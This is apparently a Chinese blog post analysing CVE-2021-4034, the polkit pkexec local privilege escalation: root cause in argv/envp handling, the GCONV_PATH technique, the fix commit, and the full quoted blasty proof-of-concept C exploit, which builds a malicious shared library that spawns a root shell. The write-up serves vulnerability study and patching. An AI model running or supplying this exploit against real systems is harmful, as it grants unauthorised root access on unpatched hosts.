CVE-2021-4034 pkexec提权漏洞分析

文章最后更新时间为:2022年02月07日 19:51:39

1. 漏洞描述

2022-01-25,CVE-2021-4034利用详情发布,该漏洞是Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞,允许非特权用户获取root权限。根据作者的发布文章说,在默认安装的Ubuntu、Debian、Fedora和CentOS上都已经成功复现。这个漏洞已经隐藏了12年多,并影响自2009年5月第一个版本以来的所有pkexec版本:(commit c8c3d83,“Add a pkexec(1) command”)

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,如下图所示:

2022-01-26T14:58:00.png

其中授权以基于system message bus上的服务实现,polkit没有取代系统已有的权限系统,而是在已有的群组和管理员上进行管控。如果开发时需要用到linux上的身份认证,可以基于polkit框架,编写rule授权规则实现。

而pkexec就是polkit中的一个组件,允许用户以另一个用户身份执行命令(用法类似于sudo):

$ pkexec --help
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

如果 PROGRAM未指定,将运行默认shell,如果username未指定,则程序将以管理超级用户root身份执行。

2022-01-26T08:44:02.png

(以上命令在命令行其实无法直接复现,因为服务器没有desktop,可以参考https://gitlab.freedesktop.org/polkit/polkit/-/issues/17)

2. 漏洞分析

首先找到漏洞修复前的源码,这里选了一个0.12版本的源码:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

定位到pkexec的main()函数,在程序开头(534-568行)处理命令行参数:
2022-01-26T12:31:06.png

然后在610行开始,会获取PROGRAM参数名称,也就是需要执行的程序。

2022-01-26T12:34:33.png

这里有个溢出的问题,当我们执行pkexec,什么参数也不传递时,会发生以下情况:

  1. 在第 534 行,整数 n 永久设置为 1
  2. 在第 610 行,从 argv[1] 越界读取指针路径
  3. 在第 639 行,指针 s 被越界写入 argv[1]

但是从这个越界的argv[1]中读取和写入的到底是什么?当我们执行一个程序时,内核会将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾;如下所示:

|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | 
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| 

因为argv和envp指针在内存中是连续的,如果argc为0,那么越界argv[1]实际上是envp[0]。

我们可以做个实验研究下:

// a.c
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv, char** envp)
{
  printf("argv[1]:%s\n", argv[1]);
}

// b.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {

    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        NULL
    };
    execve("./a", a_argv, a_envp);
}

2022-01-26T12:52:44.png

所以回到刚才的事故现场,看看会发生什么。

  1. 假设我们执行pkexec,此时argc=0,envp={"xxx"}
  2. 610行,程序会读取argv[1]到path变量中,也就是"xxx"
  3. 632行,s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
  4. 639行,程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{"/usr/bin/xxx"}

也就是说,这种越界写入允许我们将一个“不安全”的环境变量重新引入pkexec的环境。但是这个环境变量并不会存在太久,因为在702行,程序会清除所有的环境变量:

2022-01-26T13:21:22.png

3. 漏洞利用(本地提权)

通过刚才的分析,可以看出pkexec存在溢出漏洞,允许我们导入不安全的环境变量,但是这个环境变量仅存在于639行~702行之间。

首先我们要知道pkexec是默认具有suid权限的

root@VM-12-15-ubuntu:~/test# ls -la /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec

suid权限这里就不再描述了,所以我们只要利用pkexec执行命令或者执行一段代码,就可以很容易拿到root权限,完成提权。

在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。

iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。

如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。

整个漏洞代码可以简化为如下程序:

#include <stdio.h>
#include <glib.h>

int main(int argc, char **argv, char** envp)
{

  gchar *path;
  gchar *s;
  
  path = g_strdup (argv[1]);
  printf("path:%s\n", path);

  s = g_find_program_in_path (path);
  printf("s:%s\n", s);
  argv[1] = path = s;
  g_printerr ("Error accessing\n");
}

// 编译:
// sudo apt-get install libglib2.0-dev
// gcc `pkg-config --cflags glib-2.0` a.c `pkg-config --libs glib-2.0` -o a

可以用此程序代替pkexec触发漏洞。

具体的利用过程如下:

  1. 首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。
  2. 创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.
  3. 然后调用pkexec,argc=0,envp={"xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8","XAUTHORITY=../LOL", NULL}
  4. pkexec执行到610行,path=xxx
  5. pkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxx
  6. pkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{"GCONV_PATH=./xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8"}
  7. pkexec执行到670行,调用validate_environment_variable函数,因为XAUTHORITY环境变量不合法,触发g_printerr函数,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。

我们只要在so文件的gonv_init()函数中,执行/bin/sh即可拿到一个root权限的shell。

下面是exp,来自https://haxx.in/files/blasty-vs-pkexec.c

/*
 * blasty-vs-pkexec.c -- by blasty <peter@haxx.in> 
 * ------------------------------------------------
 * PoC for CVE-2021-4034, shout out to Qualys
 *
 * ctf quality exploit
 *
 * bla bla irresponsible disclosure
 *
 * -- blasty // 2022-01-25
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}

2022-01-26T14:40:15.png

4. 漏洞修复

可以看到漏洞修复非常简单:https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683

2022-01-26T14:55:25.png

2022-01-26T14:56:02.png

在溢出点,赋值前做了检查。

5. 参考文章

1 + 5 =
1 评论
    v0wChrome 97OSX
    1月30日 回复

    文章写的真好,浅显易懂,对于pwn几乎0基础的我,都能看懂个大概,感谢师傅orz